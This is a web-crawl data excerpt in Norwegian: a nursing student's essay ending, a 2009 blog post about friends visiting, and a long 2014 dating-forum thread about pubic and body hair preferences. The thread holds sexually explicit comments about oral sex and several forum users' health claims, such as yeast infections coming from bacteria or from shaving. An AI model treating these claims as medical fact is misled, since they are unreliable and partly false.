h\u00f8sten 2015.\n\n*Dette g\u00e5r rett inn i min egen motivasjon for \u00e5 bli sykepleier, og hvem jeg \u00f8nsker \u00e5 v\u00e6re i forhold til de eldre jeg m\u00f8ter n\u00e5r jeg er ferdig utdannet.*\n\n**Sykepleierstudent ved HSN Drammen**\n\n", "language": "no", "__index_level_0__": "5353e5ab-e968-4ed8-8750-4d4a01cb17d6"}
{"url": "http://jegergudsbarn.blogspot.com/2009/06/sommerbesk-av-kristin-lene-og-maria.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:05:04Z", "text": "## s\u00f8ndag 21. juni 2009\n\n### Sommerbes\u00f8k av Kristin, Lene og Maria\n\nN\u00e5r sommerferien begynte tok jeg med meg Kristin, Lene og Maria med meg hjem. Det ble fire (seks for Maria) utrolig koselige dager med sol, litt regn, sommerland i B\u00f8, spilling, natt-pannekaker, film, is og masse mer. Her er noen sm\u00e5 glimt av de fantastisk herlige jentene=)\n\n  \n  \n  \n  \n  \n  \n#### 7 kommentarer:\n\n\n\nS\u00e5 koselig\\! D\u00e5ke e n\u00e5ken flotte, gode jente alle sammen\\!:)\n\n \n\n\nS\u00e5 kjekt :) Neste gong vil eg og vera med ;)\n\n\n\n\n\nMarit sa...\n\nSynn\u00f8ve: Tusen takk^^ Det er du og\\!  \nOda:Det m\u00e5 du ja\\! Hadde v\u00e6rt kjempekoselig=)\n\n 27. juni 2009 kl. 10:55    \n\n\n\n\n\nKristin sa...\n\u00c5, s\u00e5 kjekt \u00e5 lese/se bilder\\!  \nVar utrolig koselig \u00e5 bes\u00f8ke deg og jeg kommer lett igjen ^^  \n\\<3\n\n 17. juli 2009 kl. 12:06    \n\n\n\n\n\nMarit sa...\n\nS\u00e5 bra Kristin;) Du er hjertelig velkommen tilbake\\!\n\n 20. juli 2009 kl. 13:29    \n\n\n\n\n\nLene sa...\n\nEg er lett med :)  \nDet var veldig kjekt \u00e5 bes\u00f8ka deg\\!  \nEin flott start p\u00e5 sommaren :D\n\n 30. juli 2009 kl. 11:03    \n\n\n\n\n\nMaria sa...\n\nHelt enig med de andre her. Det var en veldig koselig uke :D  \nGleder meg til \u00e5 bes\u00f8ke deg igjen ;)  \nOg jeg gleder meg enda mer til du kommer hjem til Framnes igjen\\! ;)\n\n 13. oktober 2009 kl. 11:55    \n\n", "language": "no", "__index_level_0__": "d8953835-e5f8-406b-852e-973b76ffc8cb"}
{"url": "https://sukker.no/dating-forum/1030990-Kvinner+og+h%C3%A5rvekst.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:49:19Z", "text": "# Kvinner og h\u00e5rvekst\n\n (mann 35 \u00e5r fra S\u00f8r-Tr\u00f8ndelag)  on. 30 juli 2014 14:23  Privat melding \n\nSom mann synes jeg trenden med at kvinner skal v\u00e6re barbert og h\u00e5rl\u00f8se p\u00e5 kropp og kj\u00f8nn er b\u00e5de merkelig og trist...I mine \u00f8yne er h\u00e5rvekst b\u00e5de feminint og sexy,s\u00e6rlig n\u00e5r det er mye av det \\!  \nEn stor og viltvoksende busk er utrolig flott enten det er nedentil eller under armene,p\u00e5 l\u00e5ra osv...:)  \nEr det s\u00e5nn at alle jenter fjerner h\u00e5rveksten ?\n\nHver sin smak... N\u00e5 er jo skj\u00f8nnhetsidealer omskiftelige greier, og det er ikke s\u00e5 greit om kvinner skal f\u00f8le seg n\u00f8dt til \u00e5 barbere seg i alle ender for \u00e5 tekkes s\u00e5nne idealer...  \n  \nMen, det er n\u00e5 praktisk \u00e5 slippe \u00e5 plukke lange kj\u00f8nnsh\u00e5r fra mellom tennene n\u00e5r man har gjort det godt for henne... ;-)\n\nJeg synes tvert imot at h\u00e5r i maten er veldig opphissende. Ingenting er bedre enn \u00e5 begrave ansiktet i en stor og fyldig skog,kjenne h\u00e5rene stryke mot kinnene n\u00e5r jeg g\u00e5r ned p\u00e5 henne ;)\n\nDusken er p\u00e5 vei tilbake..og heldigvis for det )\n\nSkjult ID med pseudonym Haakon on. 30 juli 2014 14:48  \n\nDet finnes jo en mellomting mellom regnskog og parkettgulv ogs\u00e5 da, for \u00e5 si det slik :)\n\nHva med full busk da ? Er jeg alene om \u00e5 like det ?\n\nSkjult ID med pseudonym Minney on. 30 juli 2014 16:12  \n\nTenker at alt jeg fjerner og ikke fjerner av h\u00e5r p\u00e5 kroppen gj\u00f8r jeg for min egen del.  \nS\u00e5 f\u00e5r en fyr v\u00e6re forn\u00f8yd med det eller ikke.  \nBetyr det mer for han at jeg ser ut slik han \u00f8nsker, enn det betyr for han at jeg selv f\u00f8ler meg komfortabel, s\u00e5 har vi ingenting sammen \u00e5 gj\u00f8re :P  \n  \nMed \u00e5pning for at mine \u00f8nsker rundt dette sannsynligvis vil variere med alderen. For det har det jo allerede gjort flere ganger i l\u00f8pet av livet s\u00e5 langt :P\n\n (kvinne 46 \u00e5r fra Akershus)  on. 30 juli 2014 16:18  Privat melding \n\nKanskje vi kvinner skal begynne \u00e5 ta etter mannen.....shave oss p\u00e5 hodet, og kompensere med kroppsh\u00e5r :-p  \n  \nTror kanskje, men bare kanskje at det ville tatt sin tid f\u00f8r jeg f\u00f8lte meg vel.  \n  \nF\u00e5r vel v\u00e6re slik som passer meg best, s\u00e5 f\u00e5r andre bestemme for seg.\n\nP\u00e5 en \u00f8de \u00f8y uten barberh\u00f8vel, har det nok blitt mange fullverfige duskedamer etterhvert....hihi\n\nFullverdige skulle det st\u00e5\n\nEr det ingen ubarberte og h\u00e5rete damer her da ? :) Med en frittvoksende busk som brer seg utenfor trusekanten,litt oppover magen osv...Det er bare skamsexy \\!\\! :)\n\nSkjult ID med pseudonym hjerteress to. 31 juli 2014 07:44  \n\nUff, nei\\! vett du hva... hartbeat82:)\n\nHjerteress : Hvorfor er det uff \u00e5 v\u00e6re naturlig da ?? :)\n\nDet er INGENTING som sl\u00e5r en dusk med fletter :)\n\nSkjult ID med pseudonym Mr Mr to. 31 juli 2014 12:18  \n\nHvem pokker liker h\u00e5r i maten.... ;o))\n\nMATEN??? MrMr, du har nok misforst\u00e5tt noe der... Pr\u00f8ver du \u00e5 spise vil du bli m\u00f8tt med heftige hyl og protester.  \n  \nSlikke og kysse... Ikke spise\\! Tro meg, det funker mye bedre... ;-)\n\nHelt riktig,slikke,kysse og leke rundt med tunga mens man kjenner busken kile herlig i kinnene...Det er DEILIG det \\! ;)\n\nSkjult ID med pseudonym Hunden to. 31 juli 2014 14:38  \n\nEl liten s\u00f8t og fuktig rullebane kansje-men ikke full bush:))\n\nSkjult ID med pseudonym optimist14 to. 31 juli 2014 14:51  \n\nHva er det med menn og h\u00e5r? Tror 90 % av menn sp\u00f8r om du er glattbarbert nedentil. Allerede da skj\u00f8nner jeg at dette ikke ender opp med en seri\u00f8s date for jeg synes ikke et slikt sp\u00f8rsm\u00e5l har noe p\u00e5 en bli kjent chat \u00e5 gj\u00f8re og sier egentlig lite om meg som person . Men n\u00e5r s\u00e5 mange foretrekker det \u00e5 antar jeg at du er unik i din klasse om \u00e5 \u00f8nske deg en hel busk... Vet ikke hva \u00e5rstall vi skal tilbake til ? Men kanskje er du heldig \u00e5 finne deg en som vil ha de over alt. Var p\u00e5 en badestrand en gang og s\u00e5 en mor som stod og lekte med sitt barn i vannkanten if\u00f8rt bikini.. Masse sort og kr\u00f8llet h\u00e5r p\u00e5 innsiden av l\u00e5ret som strakk seg nesten ned til kn\u00e6rene. Ikke noe tiltalende syn og jeg tror hun ble en skue for mange.\n\n (mann 48 \u00e5r fra Oslo)  to. 31 juli 2014 17:08  Privat melding \n\n90%? Hm, tror aldri jeg har spurt noen om det... Enkelte ting finner man jo ut n\u00e5r tiden er inne for det.  \n  \nDusk er intet problem, men den typen helt viltvoksende busk som TS etterlyser er nok mer en s\u00e6rinteresse... N\u00e5r det fletter seg til foran alt det bra der innenfor s\u00e5 man knapt kommer til er det ikke fullt s\u00e5 lystbetont.  \n  \nMen en fin og vanlig dusk er absolutt ok.\n\nSkjult ID med pseudonym optimist14 to. 31 juli 2014 17:16  \n\nBra at du Tenker1914 unng\u00e5r disse sp\u00f8rsm\u00e5l for det er rett og slett et usexy sp\u00f8rm\u00e5l p\u00e5 nettet hvis du hadde et \u00f8nske om en date. Men som kvinne kan jeg love deg at det blir spurt om mye rart :) Enhver m\u00e5 jo gj\u00f8re med sine h\u00e5r som de vil men er ikke uenig i at den \"busken\" som etterlyses her inne helt sikkert er av den skjeldne art...\n\n (mann 35 \u00e5r fra S\u00f8r-Tr\u00f8ndelag)  to. 31 juli 2014 18:43  Privat melding \n\nHmmm,er det virkelig s\u00e5\u00e5\u00e5 uvanlig med full busk ?\n\nSkjult ID med pseudonym Kongen to. 31 juli 2014 19:07  \n\nHadde jeg endt opp til sengs med ei dame med h\u00e5r mellom beina, s\u00e5 hadde jeg bedt henne g\u00e5 \u00e5 barbere seg f\u00f8r hun kom tilbake i sengen\\!\n\nSkjult ID med pseudonym Tilia to. 31 juli 2014 22:11  \n\nJeg tror kanskje de fleste kvinns her til lands som er under en viss alder velger \u00e5 frisere, barbere eller vokse vekk alt, men det er jo litt merkelig og i grunn ganske trist at noe som er naturlig, n\u00e5 blir sett p\u00e5 som fullstendig UNATURLIG (for ikke \u00e5 si \\_h\u00e5rreisende\\!\\!\\_ ;P ) \u00e5 \"la v\u00e6re som det er\". For kvinner er det jo n\u00e6rmest SKAMBELAGT \u00e5 ha et h\u00e5rfjon noe sted (annet enn p\u00e5 hodet), og mange menn er jo snart like h\u00e5rl\u00f8se over hele kroppen, de ogs\u00e5. :(  \nEt kulturelt betinget kuet kroppsideal...nettopp fordi man blir sett rart/ned p\u00e5 om man velger en annen vei (i mer viltvoksende lyng og busk og kratt ;P )  \n  \nFolk f\u00e5r gj\u00f8re som de vil, men det er jo flott \u00e5 h\u00f8re at folk liker litt forskjellige \"frisyrer\", der ogs\u00e5, selv om det virker som at menn med samme oppfatning som TS, er i et klart mindretall...\n\nVirker desverre som jeg er i et klart mindretall ja....Synd at noe s\u00e5 naturlig,og i mine \u00f8yne fint blir sett p\u00e5 som noe \"ustelt og manndig\"\n\nKan godt skj\u00f8nne at de fleste vil ta h\u00e5rene p\u00e5 legger osv...men nedentil blir liksom noe annet...H\u00e5rene har jo en funksjon ogs\u00e5,\u00e5 beskytte og holde p\u00e5 fuktighet\n\nSkjult ID med pseudonym Mr Mr fr. 1 aug. 2014 11:47  \n\n@Tenker1914  \n  \nJeg har ikke misforst\u00e5tt noen ting.  \nDet var liksom en metafor for din noe vel beskrivende m\u00e5te si det p\u00e5..\n\nSkj\u00f8nte jo det, og sp\u00f8kte tilbake. Var jo ikke seri\u00f8st ment den kommentaren. :-)\n\nSkjult ID med pseudonym Mr Mr fr. 1 aug. 2014 12:26  \n\n@Tenker1914  \n  \nM\u00e5 v\u00e6re denne varmen som gj\u00f8r meg litt treg.. ;o))\n\nSkjult ID med pseudonym jaud\u00e5 fr. 1 aug. 2014 17:37  \nFuktig, varmt og krattbevokst: Et fl\u00e5tt sted\\!\n\nSkjult ID med pseudonym luring fr. 1 aug. 2014 21:19  \n\nHver sin smak er greit det, men personlig liker jeg glatt hele veien. Eller en liten trimmet dott/stripe p\u00e5 toppen. H\u00e5r p\u00e5 legger/under armer er jo en selvf\u00f8lge \u00e5 ta bort som jente synes n\u00e5 jeg..\n\n (mann 35 \u00e5r fra S\u00f8r-Tr\u00f8ndelag)  l\u00f8. 2 aug. 2014 07:34  Privat melding \n\nHmm,er det virkelig ingen damer med full busk her ?? Eller noen som liker \u00e5 la det gro ?  \nDenne barberingen m\u00e5 jo v\u00e6re et mas...og hvorfor...fordi en merkelig trend sier at det er feminint \u00e5 v\u00e6re h\u00e5rl\u00f8s...  \nKj\u00f8nnsh\u00e5r er jo akkurat like naturlig hos kvinner som hos menn,og det beskytter et \u00f8mfintlig omr\u00e5de p\u00e5 kroppen.\n\nSkjult ID med pseudonym luring l\u00f8. 2 aug. 2014 23:07  \n\nTrend og trend fru blom, vil vel ikke kalle det det akkurat. Er mange som liker \u00e5 ha det h\u00e5rl\u00f8st, b\u00e5de jenta selv og for mange gutters del. Men det er garantert mange som liker det motsatte ogs\u00e5 :)\n\n (kvinne 45 \u00e5r fra Akershus)  l\u00f8. 2 aug. 2014 23:11  Privat melding \n\nNei uff, jeg bryr meg lite om hva som er inn eller ut n\u00e5r det kommer til h\u00e5rvekst, det skal bort...absolutt alt, men det er av egen interesse da det er best for meg. Kan skli litt ut om vinteren, men ikke s\u00e5 mye hehe\n\nSkjult ID med pseudonym Veronica s\u00f8. 3 aug. 2014 00:44  \n\nEnig ned linheia. Mote har ingen ting \u00e5 si. Med det har hygiene og velv\u00e6re. I dusken vil det samle seg urin, utflod og menstruasjons blod, de fleste har ikke mulighet til \u00e5 ta en underlivssjekk vask flere ganger daglig, og ikke er det sunt heller.  \nTS syns du fremdeles det er sexy med en stor dusk?\n\nVeronika : Hehe ja,jeg digger fremdeles stor dusk :) Har v\u00e6rt sammen med jenter som ikke har fjerna noe av h\u00e5rveksten sin der nede....og med vanlig renslighet er de minst like hygieniske og renslige som alle andre. Har alltid v\u00e6rt en ivrig slikker,s\u00e5 jeg vet hva jeg snakker om :)  \n  \nEn stor skog er s\u00e5 vilt,vakkert og innbydende \\!\n\nS\u00e5 festlig med alle som er glattbarberte for \"egen del\". Hehe\u2026 p\u00e5 70-tallet tenkte ingen tanken, p\u00e5 80-tallet var det forbeholdt pornostjerner. P\u00e5 90-tallet begynte det \u00e5 bre om seg og p\u00e5 2000-tallet ble det plutselig et krav og \u00e6\u00e6\u00e6sj dersom man ikke fjernet noe nedentil.  \n  \nFlott at noen av dere likevel ikke f\u00f8lger moten eller tenker p\u00e5 forventninger men gj\u00f8r det for \"egen del\". Nettopp. ;-)\n\nHmmm, hva skal vi bruke p\u00e5 norsk? P\u00e5 engelsk har du jo uttrykket \"landing strip\", som jeg er fan av.  \n  \nMen p\u00e5 norsk... \"Landingsstripe\" blir litt vel direkte oversatt, og \"flystripe\" blir litt klinisk, gir ikke det samme fine bildet som engelsk gj\u00f8r.\n\nIngenting er vel som kvinner med vakker h\u00e5rfrisyre. N\u00e5r det kommer til hvor den skal v\u00e6re, s\u00e5 tenker jeg at hodet er det best egnete stedet for de fineste frisyrene. Men alle f\u00e5r bestemme over sine egen kropp og h\u00e5rvekst tenker n\u00e5 jeg.  \n@lillemy-1 Det er merkelig at h\u00e5rveksten ser ut til \u00e5 flytte seg nedover kroppen ja. ;)  \n@optimist14 F\u00e5r du slike sp\u00f8rsm\u00e5l fra menn her inne\\!? Huff...blir litt flau over \u00e5 v\u00e6re mann.  \n@Gaudern Hva med vegviseren? ;)\n\n (mann 39 \u00e5r fra Hordaland)  s\u00f8. 3 aug. 2014 18:03  Privat melding \n@Madshus Veiviseren... jo, men da m\u00e5 det barberes som en pil..... Har ogs\u00e5 sett noen tattiser som er ganske... ahem... grove - og som ogs\u00e5 kan sies \u00e5 v\u00e6re veivisere ;) Men s\u00e5 jo en lengre oppe som skrev det som 'rullebane' og den er jo ganske beskrivende, p\u00e5 flere niv\u00e5er\\!\n\n\"Hei kjekken\\! Blir du med hjem og sjekker ut flystripa mi?\"  \n\"Hei kjekken\\! Blir du med hjem og sjekker ut jungelen min?\"  \n  \nFrimerkesamlingen blir med ett gammeldags :-p\n\n@lillemy-1 N\u00e5 ble jeg nesten litt usikker p\u00e5 hva som h\u00f8rtes ut til \u00e5 v\u00e6re mest spennende \u00e5 utforske, flystripa eller jungelen...i jungelen venter mange farer og overraskelser...;)\n\nKama Sutra frimerkesamlinga mi teller alts\u00e5 ikke? :o\n\n@Villrosa Spesielt om flyet kommer eller tar av... :))\n\nSkjult ID med pseudonym Tilia s\u00f8. 3 aug. 2014 19:53  \n\nHuffs, FLYSTRIPE, det er vel s\u00e5nn som blir behandlet med f\u00e6le etsende kjemikalier for \u00e5 \"rydde veien\" for ehm.. smooth landing... =// Ets, ets... :((  \n\\- og ekstra om vintern, hvis isen f\u00e5r lagt seg...huff, da f\u00e5r en jammen h\u00e5pe p\u00e5 hetere vinternetter...  \n  \nMen \u00e5h\\! - en KAMASUTRE-tr\u00e5d\\!\\!\\! - DET hadde vi trengt her p\u00e5 sukker\\!\\! \\` :D \u00b4  \nHvorfor er det ingen som har kommet p\u00e5 d\u00e9t f\u00f8r?? Det dukker jo stadig opp vanlig kjedelig sutring, men en ekte, saftig kamasutretr\u00e5d hadde iallfall f\u00e5tt meg til \u00e5 sitte klistret som et glad/glatt nyslikket frimerke til tr\u00e5den. ;P\n\nF\u00f8ler meg rett og slett ensom her i tr\u00e5den jeg....hvor er dere andre som liker at h\u00e5ret f\u00e5r vokse i fred da ??? :P\n\nDet virker rett og slett som tiden har g\u00e5tt fra deg \"heartbeat82\".\n\nSpirit2014 : Ja,det kan nesten virke litt s\u00e5nn....og enda jeg er bare 32 \u00e5r...ikke bra alts\u00e5..\n\n@hartbeat82.. Du f\u00e5r komme deg videre og innse at slaget er tapt n\u00e5r det gjelder \"busk\" . :)\n\n@spirit2014 Mulig jeg skulle gjort det...men jeg er s\u00e5ppas glad i busk,det er faktisk noe av det mest sexy jeg kan tenke meg,hvis busken er stooor... S\u00e5 klarer liksom ikke \u00e5 gi opp h\u00e5pet om det finnes ei skikkelig buskete dame der ute for meg :)\n\nSkjult ID med pseudonym Tilia ma. 4 aug. 2014 22:59  \n\nLykke til, hartbeat\\! T\u00f8ft med folk som t\u00f8r \u00e5 sette seg litt \"h\u00e5rete m\u00e5l\"\\! ;P  \n  \nMen hvis du finner noen, s\u00e5 pass deg s\u00e5 du ikke tar heeelt av og blir som haren, da - med hus under\\[hos\\] hver en busk... =;p\n\n (kvinne 46 \u00e5r fra Akershus)  ma. 4 aug. 2014 23:03  Privat melding \n\n@hartbeat...hvorfor vente p\u00e5 ei med stor busk? I disse dager er det helt vanlig med sexleket\u00f8y....kan du ikke bare kj\u00f8pe en tup\u00e9 i \u00f8nsket farge og ta med deg inn i soverommet? ;-)\n\nSkjult ID med pseudonym jaud\u00e5 ma. 4 aug. 2014 23:07  \n\nN\u00e5 vokser denne tr\u00e5den fort. Fram med sysaksen\\!\n\nMye fokus p\u00e5 jentebusker, regner med at gutta som vil ha friserte jenter, selv er glattbarberte s\u00e5 ikke jentene f\u00e5r h\u00e5r i maten ; )\n\nhttp://heltnormalt.no/wumo/2014/08/04  \n  \n;-)\n\nSkjult ID ti. 5 aug. 2014 10:37  \n\nEr s\u00e5 heldig at jeg er f\u00f8dt med lite h\u00e5r p\u00e5 armer og bein og slipper dermed \u00e5 barbere meg:-). Barberer meg under armene innimellom. Er mange som sier til meg at jeg er s\u00e5 heldig som slipper \u00e5 tenke p\u00e5 det.\n\n@lillemy  \nJeg vil ha ekte vare,en skikkelig jungel \u00e5 dukke inn i :)\n\nOg til dere damer med kraftig h\u00e5rvekst....Det er lov \u00e5 ta kontakt for en prat ;)\n\nSkjult ID med pseudonym metoo ti. 5 aug. 2014 19:04  \n\nEn mann som har frisyre p\u00e5 musa, enten det er den ene eller andre veien, s\u00e5 h\u00f8yt p\u00e5 \u00f8nskelista er nederst p\u00e5 min.\n\nEr ikke denne barberingen rundt om alle steder et forferdelig styr da ?  \n  \nSkulle tro det var b\u00e5de tidkrevende og ubehagelig....\n\n@Villrosa  \nJeg har spurt flere partnere om dette,og f\u00e5tt til svar at \"det skjer ikke,er du gal..\" Og da sitter man der da,men bare halvveis tenning fordi alt er glatt og \"unaturlig\".........\n\nHuff @heartbeat82. S\u00e5 ung og miste tenningen bare fordi du mener at glatt er unaturlig? Kanskje p\u00e5 tide \u00e5 fokusere p\u00e5 noe annet for med din innstilling der du tydeligvis tenner kun p\u00e5 en \"busk\" kan det se ut til at du kan risikere \u00e5 g\u00e5 en halvtent tid i m\u00f8te :) Og styr er det ikke s\u00e5 sant du holde det vedlike hele tiden. Lykke til :)\n\nEr ikke meningen \u00e5 ta inn det 'ekle' i denne samtalen, men er ikke flatlusa i ferd med \u00e5 bli utryddet p\u00e5 grunn av barberingen nedentil? S\u00e5 det er ikke s\u00e5 ille at det ikke er godt for noe\\[n\\].\n\nSkjult ID med pseudonym Curious to. 7 aug. 2014 00:42  \n\nHar ikke noe konstruktivt \u00e5 bidra med her annet enn at jeg tror jeg kjenner dr\u00f8mmedama til Hartbeat82.... Understreker at jeg ikke har unders\u00f8kt henne nedentil, men det var ikke vanskelig \u00e5 se hva som foregikk under armene hennes da hun spradet rundt i singlet i sommer. For \u00e5 si det slik, ingen fare om regnskogen i Amazonas g\u00e5r duken, for jorden har backup her i Skandinavia ;-)  \n  \nKan f\u00f8re til at jeg har f\u00e5tt meg en god latter mange ganger etter \u00e5 ha lest denne tr\u00e5den :-)\n\nSkjult ID med pseudonym . to. 7 aug. 2014 21:35  \n\nLeste her at h\u00e5r holder p\u00e5 fukt, det er vel motsatt, h\u00e5r gj\u00f8r det mere luftig der nede (s\u00e5fremt ikke laaang busk, da)\n\nSkjult ID med pseudonym . to. 7 aug. 2014 21:44  \n\n..forts:  \nhttp://www.kk.no/livsstil/er-du-mye-plaget-med-sopp-21793  \n\"\u00d8kt risiko for sopp og spredning av kj\u00f8nnsvorter  \nIf\u00f8lge hudlege Ole Martin R\u00f8rdam, som jobber p\u00e5 hudavdelingen ved St. Olavs Hospital og privat i Trondheim (Dermatologi.no \u2013 ekstern lenke), b\u00f8r imidlertid kvinner som har lett for \u00e5 f\u00e5 infeksjoner eller sopp i underlivet helst unng\u00e5 intimbarbering - og da s\u00e6rlig s\u00e5 langt nede.  \n  \n\\- Det kan v\u00e6re s\u00e6rlig ugunstig hvis du er utsatt for sopp. Uten h\u00e5r i dette omr\u00e5det kan det nemlig bli mer klamt og fuktig \u2013 noe som gj\u00f8r det lettere \u00e5 f\u00e5 sopp, forklarer han til KK.no.  \n  \nR\u00f8rdam frar\u00e5der ogs\u00e5 personer med vorter (kj\u00f8nnsvorter) eller mollusker \u00e5 intimbarbere seg i dette omr\u00e5det \u2013 da det kan videref\u00f8re smitte.  \n  \n\\- Hvis du har vorter, b\u00f8r du unng\u00e5 det. Dette fordi barbering kan medf\u00f8re at man smitter seg selv, s\u00e5 det sprer utover, sier han.\"\n\nAt h\u00e5r der nede er sunt vet vel de fleste...men jeg tror ikke mange har tenkt p\u00e5 at h\u00e5r kan v\u00e6re utrolig flott og sexy...\\! Vel og merke hvis det er myyyye av det ;)\n\nEr enig med hartbeat82  \n  \nEn frodig busk er fantastisk flott\\!  \n...... og vi er ikke alene om \u00e5 mene det her i verden, selv om vi kanskje er i mindretall.\n\nSkjult ID l\u00f8. 9 aug. 2014 18:46  \n\nN\u00e5r jeg foresl\u00e5r at damene skal kutte ut den dumme barberingen, s\u00e5 slipper erfaringsmessig 4 av 5 ut et lettelsens sukk, og uttrykker at de er glad for \u00e5 slippe styret.  \n  \nS\u00e5 blir friseringen etter en m\u00e5neds tid en opphissende lek. :)  \n  \nDamer som insisterer p\u00e5 barbering er ogs\u00e5 de som er fulle av sopp, og som ser ut som store sp\u00f8rsm\u00e5lstegn n\u00e5r de blir bedt om \u00e5 anskaffe canestenkur.\n\nTrodde damene selv visste selv om de hadde sopp?\n\nSkjult ID med pseudonym moonlight s\u00f8. 10 aug. 2014 00:42  \n\n@skjult ID kl 18:46  \nS\u00e5 alle damer som barberer seg har sopp???  \nHvor i all verden har du det fra?  \nHar barbert meg s\u00e5 lenge jeg kan huske og har aldri noensinne hatt sopp eller andre plager... Ikke engang under begge mine graviditeter hvor det er vanlig \u00e5 f\u00e5 sopp (uansett om man har barbert seg eller ikke).  \nSopp utvikles fra bakterier og tro det eller ei s\u00e5 er man mer utsatt for sopp n\u00e5r man IKKE har barbert seg fordi det samler seg mer urenheter/bakterier i h\u00e5ret enn p\u00e5 bar hud. Lettere \u00e5 holde bar hud ren enn h\u00e5r.  \nOg s\u00e5 f\u00e5r man sopp av d\u00e5rlig hygiene. S\u00e5 hvis dere menn er d\u00e5rlig med hygiene s\u00e5 kan dere p\u00e5f\u00f8re oss damer soppinnfeksjon, og motsatt.  \nNei jeg barberer meg for min egen skyld og det er ikke noe pes. Er rutine n\u00e5r jeg dusjen hver dag som alle andre rutiner man har laget seg :)\n\n (mann 35 \u00e5r fra S\u00f8r-Tr\u00f8ndelag)  s\u00f8. 10 aug. 2014 07:09  Privat melding \n\n@Naturist1  \n  \nS\u00e5 bra at jeg ikke er helt alene om \u00e5 like busk da\\! F\u00f8ler meg nesten litt ensom her...hehe.  \nMen om det finnes damer for s\u00e5nne som oss er jo en annen,og mer uviss sak da,,,,desverre...\n\nSkjult ID med pseudonym Grace s\u00f8. 10 aug. 2014 07:34  \n\nDet virker som om noen menn tror at damer enten barberer/voksen eller lar alt gro fritt. For min del er det ikke enten eller.  \nSelv liker jeg \u00e5 bli vokset, men ofte s\u00e5 lar jeg det gro ut. Jeg vari\u00e9rer litt, rett og slett\\! Hva menn liker best gir jeg blaffen i, hvordan jeg behandler min kropp er min sak.\n\n (mann 37 \u00e5r fra Oslo)  s\u00f8. 10 aug. 2014 12:06  Privat melding \n\nok. n\u00e5 har jeg lest litt her. jeg har sikkert sopp. ladies\\! ive provably got sopp...oh noes forever alone\\!\n\nSkjult ID s\u00f8. 10 aug. 2014 13:45  \n\nHer var det rare konklusjoner. Jeg skrev at damer som insisterer p\u00e5 barbering er ogs\u00e5 de som er fulle av sopp. Dette betyr selvsagt ikke at alle damer som barberer seg har sopp, fint om folk leser og bruker litt logikk.  \n  \nEnkel \u00e5rsakssjekk for sopp:  \nF\u00f8r sex: ingen sopp.  \nEtter sex: masse sopp.  \nKonklusjon: smittet.  \n  \nIkke farlig, men lett irriterende n\u00e5r det ikke tas p\u00e5 alvor. Og null oralsex f\u00f8r jeg er sikker p\u00e5 hva jeg dealer med. :)\n\n (kvinne 57 \u00e5r fra Hordaland)  s\u00f8. 10 aug. 2014 13:50  Privat melding \n\nHer inne er menn rask p\u00e5 pletten med sp\u00f8rsm\u00e5l om du er glattbabert eller ikke og s\u00e5 kommer \u00f8nske om det motsatte. Jeg har en formening om at glattbarert eller busk ikke g\u00e5r innunder kvalifikasjoner for at man skal kunne finne en person som en faktisk faller for. S\u00e5 til @Valhalla s\u00e5 er jeg p\u00e5 b\u00f8lge med deg n\u00e5r det st\u00e5r \u00f8yenh\u00f8yde f\u00f8r tingene under beltet blir et tema :) Men for all del kan det v\u00e6re et interessant tema \u00e5 diskutere her inne p\u00e5 Forum..\n\nSkjult ID med pseudonym Grace s\u00f8. 10 aug. 2014 13:53  \n\nMen uansett da, s\u00e5 betyr setter ikke det likhetstegn ved at barberte damer har sopp.  \n  \nDu har v\u00e6rt bort en dame med sopp, om hun har barbert seg eller ikke er irrelevant siden man like enkelt kan f\u00e5 sopp uavhengig av underlivsfrisyre.\n\nSkjult ID med pseudonym jaud\u00e5 s\u00f8. 10 aug. 2014 14:21  \n\nHvis mannen er stuttvokst, s\u00e5 kan det v\u00e6re busken som er i \u00f8yenh\u00f8yde. Bare s\u00e5 det er nevnt :-b\n\n (kvinne 57 \u00e5r fra Hordaland)  s\u00f8. 10 aug. 2014 14:52  Privat melding \n\n@jaud\u00e5. Tror neppe jeg hadde daten en som var s\u00e5\u00e5\u00e5 stuttvokst . hehe\n\nSkjult ID med pseudonym . s\u00f8. 10 aug. 2014 15:03  \n\nTips til de som foretrekker \u00e5 v\u00e6re glatte som sm\u00e5 barn der nede: hvorfor ikke ta laser, s\u00e5 slipper dere \u00e5 barbere dere hver dag. Man f\u00e5r kj\u00f8pt effektive lasere n\u00e5 p\u00e5 Elkj\u00f8p, f.eks. Bare et tips til de som stemmer for denne dustete moten.  \n(ja, har pr\u00f8vd barbering jeg ogs\u00e5, flere ganger, men fy som mye mere behagelig \u00e5 ha en kort dusk der nede)\n\nKom igjen da damer...noen av dere m\u00e5 da vel like \u00e5 v\u00e6re skikkelig buskete ogs\u00e5 ??? ;)\n\n (kvinne 57 \u00e5r fra Hordaland)  ti. 19 aug. 2014 10:35  Privat melding \n\n@hartbeat82  \nSett ut fra svarene s\u00e5 tror jeg du m\u00e5 grave veldig dypt for \u00e5 finne den busken :)) en n\u00e5 g\u00e5r vi og inn i en \u00e5rstid der buskene blir litt mer grisne og mister sin prakt, s\u00e5 kanskje du m\u00e5 vente helt til neste v\u00e5r? Hihi\n\nSkjult ID med pseudonym Girl on. 20 aug. 2014 12:18  \n\nBusk p\u00e5 l\u00e5ra?? Der gikk jeg i fosterstilling.\n\n@Ja Girl  \nSort kr\u00f8llet frodig busk nedover innside av l\u00e5ret nesten til kn\u00e6rne.. if\u00f8rt bikini p\u00e5 stranden. Jeg trodde jeg s\u00e5 syner.. Er berre lekkert :))\n\nSkjult ID med pseudonym Lucia l\u00f8. 23 aug. 2014 22:25  \n\nFrom The Vagina Monologues...  \n\"You have to love hair in order to love the vagina\"  \nI agree ;)\n\nSkjult ID med pseudonym Lucia l\u00f8. 23 aug. 2014 22:36  \n\nHehe, da anbefaler jeg deg boken \"She Comes First: The Thinking Man's Guide to Pleasuring a Woman\"\n\nSkjult ID med pseudonym haha ma. 25 aug. 2014 22:49  \n\nFolk f\u00e5r like hva di vil, personlig syns jeg det er veldig ekkelt n\u00e5r jenta ikke er bortimot glatt. En liiiiten dusk forran gj\u00f8r meg ingenting, men ned i sentrum m\u00e5 det v\u00e6re glatt for min del.\n\nSkjult ID med pseudonym HK ma. 25 aug. 2014 23:02  \n\n@TS  \nEr du helt sikker p\u00e5 at det er dame du vil? :-))\n\nSkjult ID med pseudonym HK ma. 25 aug. 2014 23:07  \n\n@Valhalla  